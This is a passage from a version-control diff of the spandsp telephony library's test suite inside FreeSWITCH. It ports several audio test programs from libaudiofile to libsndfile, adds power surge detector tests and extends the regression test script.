+ * $Id: oki_adpcm_tests.c,v 1.37 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -50,8 +50,12 @@
 #include <unistd.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -63,8 +67,8 @@
 int main(int argc, char *argv[])
 {
     int i;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int frames;
     int dec_frames;
     int outframes;
@@ -112,14 +116,14 @@
         }
     }
 
-    if ((inhandle = afOpenFile_telephony_read(in_file_name, 1)) == AF_NULL_FILEHANDLE)
+    if ((inhandle = sf_open_telephony_read(in_file_name, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", in_file_name);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", in_file_name);
         exit(2);
     }
-    if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
 
@@ -147,7 +151,7 @@
     total_pre_samples = 0;
     total_compressed_bytes = 0;
     total_post_samples = 0;
-    while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, pre_amp, 159)))
+    while ((frames = sf_readf_short(inhandle, pre_amp, 159)))
     {
         total_pre_samples += frames;
         oki_bytes = oki_adpcm_encode(oki_enc_state, oki_data, pre_amp, frames);
@@ -172,16 +176,16 @@
             diff_energy += (double) xx * (double) xx;
             //post_amp[i] = xx;
         }
-        outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, post_amp, dec_frames);
+        outframes = sf_writef_short(outhandle, post_amp, dec_frames);
     }
-    if (afCloseFile(inhandle) != 0)
+    if (sf_close(inhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", in_file_name);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", in_file_name);
         exit(2);
     }
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
     oki_adpcm_release(oki_enc_state);

Modified: freeswitch/branches/seven/libs/spandsp/tests/playout_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/playout_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/playout_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: playout_tests.c,v 1.26 2008/07/28 15:14:30 steveu Exp $
+ * $Id: playout_tests.c,v 1.29 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page playout_tests_page Playout (jitter buffering) tests
@@ -38,9 +38,11 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #include "spandsp.h"
+#include "spandsp/private/time_scale.h"
+#include "spandsp-sim.h"
 
 #define INPUT_FILE_NAME     "playout_in.wav"
 #define OUTPUT_FILE_NAME    "playout_out.wav"
@@ -69,33 +71,19 @@
     int len;
     int inframes;
     int outframes;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
 
-    filesetup = afNewFileSetup();
-    if (filesetup == AF_NULL_FILESETUP)
+    if ((inhandle = sf_open_telephony_read(INPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Failed to create file setup\n");
+        fprintf(stderr, "    Failed to open audio file '%s'\n", INPUT_FILE_NAME);
         exit(2);
     }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 2);
-
-    inhandle = afOpenFile(INPUT_FILE_NAME, "r", NULL);
-    if (inhandle == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Failed to open wave file '%s'\n", INPUT_FILE_NAME);
+        fprintf(stderr, "    Failed to create audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
-    outhandle = afOpenFile(OUTPUT_FILE_NAME, "w", filesetup);
-    if (outhandle == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Failed to create wave file '%s'\n", OUTPUT_FILE_NAME);
-        exit(2);
-    }
 
     near_far_time_offset = 54321;
     time_stamp = 12345;
@@ -104,7 +92,7 @@
     for (i = 0;  i < BLOCK_LEN;  i++)
         fill[i] = 32767;
 
-    if ((s = playout_new(2*BLOCK_LEN, 15*BLOCK_LEN)) == NULL)
+    if ((s = playout_init(2*BLOCK_LEN, 15*BLOCK_LEN)) == NULL)
         return;
     plc_init(&plc);
     time_scale_init(&ts, SAMPLE_RATE, 1.0);
@@ -113,10 +101,7 @@
         if (i >= next_actual_receive)
         {
             amp = malloc(BLOCK_LEN*sizeof(int16_t));
-            inframes = afReadFrames(inhandle,
-                                    AF_DEFAULT_TRACK,
-                                    amp,
-                                    BLOCK_LEN);
+            inframes = sf_readf_short(inhandle, amp, BLOCK_LEN);
             if (inframes < BLOCK_LEN)
                 break;
             ret = playout_put(s,
@@ -172,7 +157,7 @@
                     buf[2*j] = out[j];
                     buf[2*j + 1] = 10*playout_current_length(s);
                 }
-                outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, buf, len);
+                outframes = sf_writef_short(outhandle, buf, len);
                 if (outframes != len)
                 {
                     fprintf(stderr, "    Error writing out sound\n");
@@ -193,7 +178,7 @@
                     buf[2*j] = out[j];
                     buf[2*j + 1] = 10*playout_current_length(s);
                 }
-                outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, buf, len);
+                outframes = sf_writef_short(outhandle, buf, len);
                 if (outframes != len)
                 {
                     fprintf(stderr, "    Error writing out sound\n");
@@ -222,17 +207,16 @@
             }
         }
     }
-    if (afCloseFile(inhandle) != 0)
+    if (sf_close(inhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", INPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", INPUT_FILE_NAME);
         exit(2);
     }
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
 
     printf("%10" PRId32 " %10" PRId32 " %10d\n", s->state_just_in_time, s->state_late, playout_current_length(s));
 
@@ -268,7 +252,7 @@
     type = PLAYOUT_TYPE_SPEECH;
     len = BLOCK_LEN;
 
-    if ((s = playout_new(2*BLOCK_LEN, 2*BLOCK_LEN)) == NULL)
+    if ((s = playout_init(2*BLOCK_LEN, 2*BLOCK_LEN)) == NULL)
         return;
     for (i = 0;  i < 1000000;  i++)
     {

Modified: freeswitch/branches/seven/libs/spandsp/tests/plc_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/plc_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/plc_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: plc_tests.c,v 1.25 2008/05/13 13:17:26 steveu Exp $
+ * $Id: plc_tests.c,v 1.26 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page plc_tests_page Packet loss concealment tests
@@ -51,18 +51,18 @@
 #include <unistd.h>
 #include <string.h>
 
-#include <audiofile.h>
+#include <sndfile.h>
 
 #include "spandsp.h"
+#include "spandsp-sim.h"
 
 #define INPUT_FILE_NAME     "../test-data/local/short_nb_voice.wav"
 #define OUTPUT_FILE_NAME    "post_plc.wav"
 
 int main(int argc, char *argv[])
 {
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     plc_state_t plc;
     int inframes;
     int outframes;
@@ -106,23 +106,13 @@
             break;
         }
     }
-    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
-    {
-        fprintf(stderr, "    Failed to create file setup\n");
-        exit(2);
-    }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
-
     phase_rate = 0;
     inhandle = NULL;
     if (tone < 0)
     {
-        if ((inhandle = afOpenFile(INPUT_FILE_NAME, "r", NULL)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(INPUT_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Failed to open wave file '%s'\n", INPUT_FILE_NAME);
+            fprintf(stderr, "    Failed to open audio file '%s'\n", INPUT_FILE_NAME);
             exit(2);
         }
     }
@@ -130,9 +120,9 @@
     {
         phase_rate = dds_phase_ratef((float) tone);
     }
-    if ((outhandle = afOpenFile(OUTPUT_FILE_NAME, "w", filesetup)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Failed to open wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Failed to open audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
     plc_init(&plc);
@@ -141,10 +131,7 @@
     {
         if (tone < 0)
         {
-            inframes = afReadFrames(inhandle,
-                                    AF_DEFAULT_TRACK,
-                                    amp,
-                                    block_len);
+            inframes = sf_readf_short(inhandle, amp, block_len);
             if (inframes != block_len)
                 break;
         }
@@ -170,10 +157,7 @@
             if (block_synthetic)
                 memset(amp, 0, sizeof(int16_t)*inframes);
         }
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  inframes);
+        outframes = sf_writef_short(outhandle, amp, inframes);
         if (outframes != inframes)
         {
             fprintf(stderr, "    Error writing out sound\n");
@@ -183,18 +167,17 @@
     printf("Dropped %d of %d blocks\n", lost_blocks, block_no);
     if (tone < 0)
     {
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", INPUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", INPUT_FILE_NAME);
             exit(2);
         }
     }
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/power_meter_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/power_meter_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/power_meter_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: power_meter_tests.c,v 1.21 2008/05/13 13:17:26 steveu Exp $
+ * $Id: power_meter_tests.c,v 1.24 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page power_meter_tests_page Power meter tests
@@ -40,13 +40,178 @@
 
 #include <stdlib.h>
 #include <stdio.h>
+#include <unistd.h>
 #include <memory.h>
+#include <float.h>
 #include <time.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
+#include "spandsp-sim.h"
 
-int main(int argc, char *argv[])
+#define IN_FILE_NAME        "../test-data/local/short_nb_voice.wav"
+#define OUT_FILE_NAME       "power_meter_tests.wav"
+
+static int power_surge_detector_tests(void)
 {
+    SNDFILE *outhandle;
+    power_surge_detector_state_t *sig;
+    int i;
+    int sample;
+    int16_t amp[8000];
+    int16_t amp_out[2*8000];
+    awgn_state_t *awgnx;
+    int32_t phase_rate;
+    uint32_t phase_acc;
+    int16_t phase_scale;
+    float signal_power;
+    int32_t signal_level;
+    int signal_present;
+    int prev_signal_present;
+    int ok;
+    int extremes[4];
+
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 2)) == NULL)
+    {
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
+        exit(2);
+    }
+    sig = power_surge_detector_init(NULL, -50.0f, 5.0f);
+    prev_signal_present = FALSE;
+
+    phase_rate = dds_phase_rate(450.0f);
+    phase_acc = 0;
+
+    phase_scale = dds_scaling_dbm0(-33.0f);
+    awgnx = awgn_init_dbm0(NULL, 1234567, -45.0f);
+
+    extremes[0] = 8001;
+    extremes[1] = -1;
+    extremes[2] = 8001;
+    extremes[3] = -1;
+    for (sample = 0;  sample < 800000;  sample += 8000)
+    {
+        ok = 0;
+        for (i = 0;  i < 8000;  i++)
+        {
+            amp[i] = awgn(awgnx);
+            if (i < 4000)
+                amp[i] += dds_mod(&phase_acc, phase_rate, phase_scale, 0);
+
+            signal_level = power_surge_detector(sig, amp[i]);
+            signal_present = (signal_level != 0);
+            if (prev_signal_present != signal_present)
+            {
+                signal_power = power_surge_detector_current_dbm0(sig);
+                if (signal_present) 
+                {
+                    if (ok == 0  &&  i >= 0  &&  i < 25)
+                        ok = 1;
+                    if (extremes[0] > i)
+                        extremes[0] = i;
+                    if (extremes[1] < i)
+                        extremes[1] = i;
+                    printf("On at %f (%fdBm0)\n", (sample + i)/8000.0, signal_power);
+                }
+                else
+                {
+                    if (ok == 1  &&  i >= 4000 + 0  &&  i < 4000 + 35)
+                        ok = 2;
+                    if (extremes[2] > i)
+                        extremes[2] = i;
+                    if (extremes[3] < i)
+                        extremes[3] = i;
+                    printf("Off at %f (%fdBm0)\n", (sample + i)/8000.0, signal_power);
+                }                    
+                prev_signal_present = signal_present;
+            }
+            amp_out[2*i] = amp[i];
+            amp_out[2*i + 1] = signal_present*5000;
+        }
+        sf_writef_short(outhandle, amp_out, 8000);
+        if (ok != 2
+            ||
+            extremes[0] < 1
+            ||
+            extremes[1] > 30
+            ||
+            extremes[2] < 4001
+            ||
+            extremes[3] > 4030)
+        {
+            printf("    Surge not detected correctly (%d)\n", ok);
+            exit(2);
+        }
+    }
+    sf_close(outhandle);
+    printf("Min on %d, max on %d, min off %d, max off %d\n", extremes[0], extremes[1], extremes[2], extremes[3]);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int power_surge_detector_file_test(const char *file)
+{
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
+    int inframes;
+    power_surge_detector_state_t *sig;
+    int i;
+    int16_t amp[8000];
+    int16_t amp_out[2*8000];
+    int sample;
+    float signal_power;
+    int32_t signal_level;
+    int signal_present;
+    int prev_signal_present;
+
+    if ((inhandle = sf_open_telephony_read(file, 1)) == NULL)
+    {
+        printf("    Cannot open speech file '%s'\n", file);
+        exit(2);
+    }
+
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
+    {
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
+        exit(2);
+    }
+    sig = power_surge_detector_init(NULL, -50.0f, 6.0f);
+    prev_signal_present = FALSE;
+
+    sample = 0;
+    while ((inframes = sf_readf_short(inhandle, amp, 8000)))
+    {
+        for (i = 0;  i < inframes;  i++)
+        {
+            signal_level = power_surge_detector(sig, amp[i]);
+            signal_present = (signal_level != 0);
+            if (prev_signal_present != signal_present)
+            {
+                signal_power = power_surge_detector_current_dbm0(sig);
+                if (signal_present)
+                    printf("On at %f (%fdBm0)\n", (sample + i)/8000.0, signal_power);
+                else
+                    printf("Off at %f (%fdBm0)\n", (sample + i)/8000.0, signal_power);
+                prev_signal_present = signal_present;
+            }
+            amp_out[2*i] = amp[i];
+            amp_out[2*i + 1] = signal_present*5000;
+        }
+        sf_writef_short(outhandle, amp_out, inframes);
+        sample += inframes;
+    }
+    sf_close(inhandle);
+    sf_close(outhandle);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int power_meter_tests(void)
+{
     awgn_state_t noise_source;
     power_meter_t meter;
     tone_gen_descriptor_t tone_desc;
@@ -58,6 +223,9 @@
     int32_t level;
 
     power_meter_init(&meter, 7);
+    printf("Testing with zero in the power register\n");
+    printf("Power: expected %fdBm0, got %fdBm0\n", -90.169f, power_meter_current_dbm0(&meter));
+    printf("Power: expected %fdBOv, got %fdBOv\n", -96.329f, power_meter_current_dbov(&meter));
 
     printf("Testing with a square wave 10dB from maximum\n");
     for (i = 0;  i < 1000;  i++)
@@ -155,8 +323,46 @@
         printf("Test failed (dBOv)\n");
         exit(2);
     }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int main(int argc, char *argv[])
+{
+    int basic_tests;
+    int decode;
+    int opt;
+    const char *in_file;
+
+    basic_tests = TRUE;
+    decode = FALSE;
+    in_file = IN_FILE_NAME;
+    while ((opt = getopt(argc, argv, "d:")) != -1)
+    {
+        switch (opt)
+        {
+        case 'd':
+            in_file = optarg;
+            basic_tests = FALSE;
+            decode = TRUE;
+            break;
+        default:
+            //usage();
+            exit(2);
+        }
+    }
+
+    if (basic_tests)
+    {
+        power_meter_tests();
+        power_surge_detector_tests();
+    }
+    if (decode)
+    {
+        power_surge_detector_file_test(in_file);
+    }
     printf("Tests passed\n");
-    return  0;
+    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/queue_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/queue_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/queue_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: queue_tests.c,v 1.11 2008/08/10 03:42:38 steveu Exp $
+ * $Id: queue_tests.c,v 1.13 2009/04/11 17:43:04 steveu Exp $
  */
 
 /* THIS IS A WORK IN PROGRESS. IT IS NOT FINISHED. */
@@ -43,6 +43,10 @@
 #include <pthread.h>
 #include <sched.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 #define BUF_LEN     10000
@@ -61,7 +65,7 @@
 static void tests_failed(void)
 {
     printf("Tests failed\n");
-    tests_failed();
+    exit(2);
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -305,7 +309,7 @@
 static int monitored_queue_write(const uint8_t buf[], int len)
 {
     int lenx;
-    
+
     lenx = queue_write(queue, buf, len);
     if (lenx >= 0)
         total_in += lenx;
@@ -317,7 +321,7 @@
 static int monitored_queue_write_byte(const uint8_t buf)
 {
     int res;
-    
+
     if ((res = queue_write_byte(queue, buf)) >= 0)
         total_in++;
     check_contents(total_in, total_out);
@@ -328,7 +332,7 @@
 static int monitored_queue_read(uint8_t buf[], int len)
 {
     int lenx;
-    
+
     lenx = queue_read(queue, buf, len);
     if (lenx >= 0)
         total_out += lenx;
@@ -340,7 +344,7 @@
 static int monitored_queue_read_byte(void)
 {
     int res;
-    
+
     if ((res = queue_read_byte(queue)) >= 0)
         total_out++;
     check_contents(total_in, total_out);
@@ -353,7 +357,7 @@
     uint8_t buf[MSG_LEN];
     int i;
     int res;
-    
+
     total_in = 0;
     total_out = 0;
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/r2_mf_rx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/r2_mf_rx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/r2_mf_rx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: r2_mf_rx_tests.c,v 1.10 2008/05/13 13:17:26 steveu Exp $
+ * $Id: r2_mf_rx_tests.c,v 1.14 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -39,6 +39,9 @@
 a fair test of performance in a real PSTN channel.
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -48,8 +51,12 @@
 #include <fcntl.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 /* R2 tone generation specs.
@@ -80,6 +87,9 @@
 #define MF_PAUSE                    (68*8)
 #define MF_CYCLE                    (MF_DURATION + MF_PAUSE)
 
+/*!
+    MF tone generator descriptor for tests.
+*/
 typedef struct
 {
     float       f1;         /* First freq */

Modified: freeswitch/branches/seven/libs/spandsp/tests/r2_mf_tx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/r2_mf_tx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/r2_mf_tx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: r2_mf_tx_tests.c,v 1.13 2008/08/16 15:24:16 steveu Exp $
+ * $Id: r2_mf_tx_tests.c,v 1.16 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -35,6 +35,9 @@
 ???.
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -44,8 +47,12 @@
 #include <fcntl.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -56,14 +63,14 @@
     r2_mf_tx_state_t gen;
     int16_t amp[1000];
     int len;
-    AFfilehandle outhandle;
+    SNDFILE *outhandle;
     int outframes;
     int digit;
     const char *digits = "0123456789BCDEF";
 
-    if ((outhandle = afOpenFile_telephony_write(OUTPUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
 
@@ -74,22 +81,12 @@
         len = r2_mf_tx(&gen, amp, 1000);
         printf("Generated %d samples of %c\n", len, digits[digit]);
         if (len > 0)
-        {
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      len);
-        }
+            outframes = sf_writef_short(outhandle, amp, len);
         r2_mf_tx_put(&gen, 0);
         len = r2_mf_tx(&gen, amp, 1000);
         printf("Generated %d samples\n", len);
         if (len > 0)
-        {
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      len);
-        }
+            outframes = sf_writef_short(outhandle, amp, len);
     }
 
     r2_mf_tx_init(&gen, TRUE);
@@ -99,27 +96,17 @@
         len = r2_mf_tx(&gen, amp, 1000);
         printf("Generated %d samples of %c\n", len, digits[digit]);
         if (len > 0)
-        {
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      len);
-        }
+            outframes = sf_writef_short(outhandle, amp, len);
         r2_mf_tx_put(&gen, 0);
         len = r2_mf_tx(&gen, amp, 1000);
         printf("Generated %d samples\n", len);
         if (len > 0)
-        {
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      len);
-        }
+            outframes = sf_writef_short(outhandle, amp, len);
     }
 
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
         exit (2);
     }
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/regression_tests.sh (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/regression_tests.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/regression_tests.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,10 +17,11 @@
 # License along with this program; if not, write to the Free Software
 # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 #
-# $Id: regression_tests.sh,v 1.53 2008/09/18 12:09:51 steveu Exp $
+# $Id: regression_tests.sh,v 1.58 2009/05/19 14:47:02 steveu Exp $
 #
 
 ITUTESTS_TIF=../test-data/itu/fax/itutests.tif
+MIXEDSIZES_TIF=../test-data/itu/fax/mixed_size_pages.tif
 STDOUT_DEST=xyzzy
 STDERR_DEST=xyzzy2
 
@@ -181,6 +182,7 @@
 #echo echo_tests completed OK
 echo echo_tests not enabled
 
+#Try the ITU test pages without ECM
 rm -f fax_tests_1.tif
 ./fax_tests >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
@@ -198,6 +200,7 @@
     echo fax_tests failed!
     exit $RETVAL
 fi
+#Try the ITU test pages with ECM
 rm -f fax_tests_1.tif
 ./fax_tests -e >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
@@ -215,6 +218,24 @@
     echo fax_tests -e failed!
     exit $RETVAL
 fi
+#Try some mixed sized test pages without ECM
+rm -f fax_tests_1.tif
+./fax_tests -i ${MIXEDSIZES_TIF} >$STDOUT_DEST 2>$STDERR_DEST
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo fax_tests failed!
+    exit $RETVAL
+fi
+# Now use tiffcmp to check the results. It will return non-zero if any page images differ. The -t
+# option means the normal differences in tags will be ignored.
+tiffcmp -t ${MIXEDSIZES_TIF} fax_tests_1.tif >/dev/null
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo fax_tests failed!
+    exit $RETVAL
+fi
 echo fax_tests completed OK
 
 ./fsk_tests >$STDOUT_DEST 2>$STDERR_DEST
@@ -665,28 +686,28 @@
 #echo tone_generate_tests completed OK
 echo tone_generate_tests not enabled
 
-./v17_tests -s -42 14400 >$STDOUT_DEST 2>$STDERR_DEST
+./v17_tests -b 14400 -s -42 -n -66 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
     echo v17_tests failed!
     exit $RETVAL
 fi
-./v17_tests -s -42 12000 >$STDOUT_DEST 2>$STDERR_DEST
+./v17_tests -b 12000 -s -42 -n -61 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
     echo v17_tests failed!
     exit $RETVAL
 fi
-./v17_tests -s -42 9600 >$STDOUT_DEST 2>$STDERR_DEST
+./v17_tests -b 9600 -s -42 -n -59 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
     echo v17_tests failed!
     exit $RETVAL
 fi
-./v17_tests -s -42 7200 >$STDOUT_DEST 2>$STDERR_DEST
+./v17_tests -b 7200 -s -42 -n -56 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
@@ -695,24 +716,31 @@
 fi
 echo v17_tests completed OK
 
-#./v22bis_tests >$STDOUT_DEST 2>$STDERR_DEST
+#./v22bis_tests -b 2400 >$STDOUT_DEST 2>$STDERR_DEST
 #RETVAL=$?
 #if [ $RETVAL != 0 ]
 #then
 #    echo v22bis_tests failed!
 #    exit $RETVAL
 #fi
+#./v22bis_tests -b 1200 >$STDOUT_DEST 2>$STDERR_DEST
+#RETVAL=$?
+#if [ $RETVAL != 0 ]
